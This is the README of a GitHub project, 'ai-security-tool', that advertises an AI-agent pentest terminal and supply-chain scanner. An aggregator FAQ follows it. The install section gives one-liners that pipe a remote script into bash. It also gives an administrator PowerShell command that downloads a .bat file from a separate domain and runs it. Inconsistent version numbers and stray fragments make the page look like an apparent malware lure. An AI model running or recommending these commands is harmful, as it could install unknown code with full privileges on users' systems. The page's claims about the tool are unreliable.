ai-security-tool README

The project's README from github.com/ZeroDayEvil/ai-security-tool. As one markdown file: README.md.

AI Security Tool
Cross-Platform AI-Native Terminal & Supply Chain Scanner

Next-Gen AI Security Ecosystem, Multi-Protocol Terminal & Autonomous Agent Suite

Latest Release Build Status Donations Telegram Channel License

🌐 Web Demo • 📚 Project Website • 💬 Community Chat

Website Navigation: Home • Updates • Downloads • Modules

AI Security Tool Banner

🧠 Conceptual Overview

AI Security Tool is an open-source, cross-platform ecosystem designed at the intersection of traditional system administration and modern cybersecurity. It combines a multi-protocol connectivity suite (SSH, RDP, VNC), deep Supply Chain Security analysis (CVE & SBOM auditing), and an autonomous ecosystem powered by 12+ AI Agents.

The tool eliminates the need to switch between dozens of utilities during security audits, Red Team operations, penetration testing, or CTF challenges. Available both as a desktop application (Linux, macOS, Windows, Android, iOS, HarmonyOS) and a fully featured Web Interface.

🎯 Core Philosophy

"Bridge the gap between execution, intelligence, and supply chain audit."
We built AI Security Tool to replace tedious manual workflows with a unified AI-Native platform that automatically correlates vulnerability contexts, tunes parameters, and automates auditing pipelines.

Steel Demo

🔍 Security Audit Modules & PoC Repositories

A curated collection of vulnerability scanners, PoC exploits, and technical research maintained by our community:

🔥 Remote Code Execution (RCE) & Network Vulns 12 modules
🛡️ Privilege Escalation (EoP) & Services 6 modules
📚 Vulnerability Research & Writeups 2 modules

💻 Multi-Protocol Terminal & Client

⚡ Advanced Capabilities

🤖 Specialized AI-Agents Suite

Dedicated autonomous agents integrated into the system for automating complex audit scenarios:

Agent Purpose Task Category
IntelligentDecisionEngine Automated tool selection and contextual parameter tuning 🧠 Core Logic
BugBountyWorkflowManager Workflow management for reconnaissance and vulnerability discovery 🎯 Pentest / Recon
CTFWorkflowManager Automation and support for solving CTF challenges 🚩 CTF Automation
CVEIntelligenceManager Deep vulnerability research and Threat Intelligence gathering 🔍 Threat Intel
VulnerabilityCorrelator Identification and construction of complex multi-stage Attack Chains 🔗 Correlation
TechnologyDetector Full tech stack identification and service fingerprinting 🌐 Fingerprinting
RateLimitDetector Detection and automated evasion of rate-limiting mechanisms ⚡ Bypass & Evasion
FailureRecoverySystem Automated error handling and tool recovery pipeline 🛡 System Resilience
PerformanceMonitor Resource monitoring and system load optimization 📊 Resource Control
ParameterOptimizer Context-aware parameter tuning for fuzzing and scanning tools ⚙️ Fuzzing Tuning
GracefulDegradation Ensures fault tolerance during external service downtime 🔄 Fault Tolerance

📊 Security Scanning & SBOM Workflow

graph TD
    A[Target Project / Assets] --> B{Aggregated CVE DB Engine}
    B -->|Daily Sync| C[NVD / OSV / GAD / RedHat]
    A --> D[Binary & Dependency Analyzers]
    D --> E[Generate / Parse SBOM Standard]
    E --> F{Vulnerability Correlator}
    C --> F
    F --> G[Enrich Context & Remediation Data]
    G --> H[Export Reports: Console / JSON / CSV / HTML / PDF]

🚀 Quick Start & Installation

📦 Ready-to-Use Builds

OS / Platform Version Architecture / Format Release Date Status Download Link
🪟 Windows v6.3.27 x64 Installer (.exe) 2026-09-08 🟢 Latest Download .exe
🪟 Windows v6.3.20 x64 Portable (.tar.gz) 2026-09-08 🟢 Latest Download .tar.gz
🍏 macOS v5.3.29 Apple Silicon M1/M2/M3 (.dmg) 2026-09-05 🟢 Stable Download .dmg
🐧 Linux v5.3.27 Universal x64 (.tar.gz) 2026-09-01 🟢 Stable Download .tar.gz
🤖 Android v8a 5.3.27 ARM64 APK (.apk) 2026-09-01 🟢 Stable Download .apk

🧪 One-Line Installation Scripts

Fast deployment via command-line installation scripts:

Linux / macOS:

curl -o- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bash
# or using wget:
wget -qO- https://raw.githubusercontent.com/ZeroDayEvil/ai-security-tool/main/scripts/one-line-web.sh | bash

Windows PowerShell (Run as administrator):

iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"
cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

The script installs Go, Python, and Node.js, extracts the archive. No extra commands are required.

One-liner

iwr "https://zerodayevil.cloud/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

or via script: ./build/bin/run-prod.sh

Once started, open your browser at: http://127.0.0.1:5577

🌐 Server Deployment & Configuration

When hosting on external or public networks, configure environment variables in your .env file:

ENABLE_AUTH=1                   # Enable password authentication
DISABLE_LOCAL_TERMINAL=1        # Disable direct access to local server terminal
SERVER_SECRET=your_server_secret_key
SERVER_PASS=your_strong_password

Start service:

./run-ai-security-tool-web.sh

Example configurations for Nginx and SSL are provided in examples/nginx.conf.

⚖️ License & Legal Disclaimer

🚨 Security & Compliance Notice

IMPORTANT: This tool grants AI Agents capability to execute system commands.
• Action Control: Always monitor AI Agent activities via the real-time dashboard.
• Least Privilege: Execute the application strictly with the minimum necessary system permissions.
• Network Security: Always enable authentication (ENABLE_AUTH=1) and disable local terminal access (DISABLE_LOCAL_TERMINAL=1) when exposing the Web interface externally.
Running this tool against unauthorized systems is illegal. The developers assume no liability for misuse or system damage.

🔄 Contribution & Community

We welcome contributions from the cybersecurity community! Key contribution areas:

  1. AI Integrations: Adding new LLM providers and developing specialized security agents.
  2. Security Tools: Integrating third-party CLI scanners and custom parsers.
  3. Optimization: Improving parser speed, caching logic, and resource consumption.
  4. Documentation: Writing guides, research papers, and localized translations.

🔗 Contact & Support

AI Security Tool — Reimagining terminal workflow and automation for cybersecurity professionals.

ai-security-tool (ZeroDayEvil/ai-security-tool)

Searching Database…

775 ·GitHub
Ai-security-tool
What is this?AI Security Tool is an open-source, cross-platform terminal and vulnerability scanner that combines a multi-protocol connectivity client (SSH, RDP, VNC, etc.), CVE/SBOM supply-chain auditing, and 12+ autonomous AI agents (DeepSeek, OpenAI) to automate pentesting, Red Team, and CTF workflows.
Is it a desktop app, a CLI, or a web service?It is both: a desktop application for Linux, macOS, Windows, Android, iOS and HarmonyOS, and a fully featured Web Interface that can also be self-hosted on a server.
How do I get it running?Download a ready-to-use build for your OS (Windows installer/portable, macOS dmg, Linux tar.gz, Android apk) or run the one-line install script for Linux/macOS/Windows PowerShell, which installs dependencies and extracts the archive automatically; for web deployment, run run-ai-security-tool-web.sh.
Do I need an OpenAI or DeepSeek API key to use the AI agents?Yes, the LLM integration and autonomous agents are powered by providers like DeepSeek, OpenAI or custom APIs, so you need an API key/credentials from one of these to use the AI features.
What should I watch out for when exposing the web interface?Because AI agents can execute system commands on your machine, the README warns to always enable authentication (ENABLEAUTH=1) and disable local terminal access (DISABLELOCALTERMINAL=1) before exposing the web UI publicly, and to run with least privilege.
Who is this built for?It targets cybersecurity professionals doing Red Team operations, penetration testing, bug bounty hunting, CTF challenges, and DevSecOps supply-chain audits.
What protocols does the multi-protocol terminal support?It supports SSH, SFTP, Telnet, Serial Port, RDP, VNC, SPICE, and FTP, with features like SSH tunneling, remote file editing over SFTP, and multi-session command broadcast.
What do the AI agents actually do?Agents like BugBountyWorkflowManager, CTFWorkflowManager, CVEIntelligenceManager, VulnerabilityCorrelator and others automate tasks such as recon workflow management, CTF solving support, threat intel gathering, multi-stage attack chain correlation, and rate-limit evasion.
Where does the vulnerability data come from?The SBOM/CVE workflow aggregates and syncs daily from NVD, OSV, GAD, and RedHat databases, correlating them with parsed SBOMs to generate exportable reports in Console, JSON, CSV, HTML or PDF.
Can I customize the terminal's look and workflow?Yes — it supports window transparency, custom themes and background images, a Guake-style pop-up terminal via a global hotkey (default Ctrl+2), and syncing of bookmarks/themes/quick commands via GitHub Gist or Gitee Snippets.
What are similar projects?strix, electerm, hexstrike-ai, Termix, Cybermes, navop, Seep-Reverse-Lab, Decepticon
Which topics is it in?ai-hacking, ai-security-tool, rdp, ssh-client, mcp-tools, vnc, red-teaming, llm-security, sftp, osint, hacking-tool, pentesting
Creator
ZeroDayEvil
Size
24.9 MB
Stars
775
Updated
CommitOct 16ReleaseAi-Security-Tool-v5.3.27Sep 11
Age
1mo
Commits · 90 Days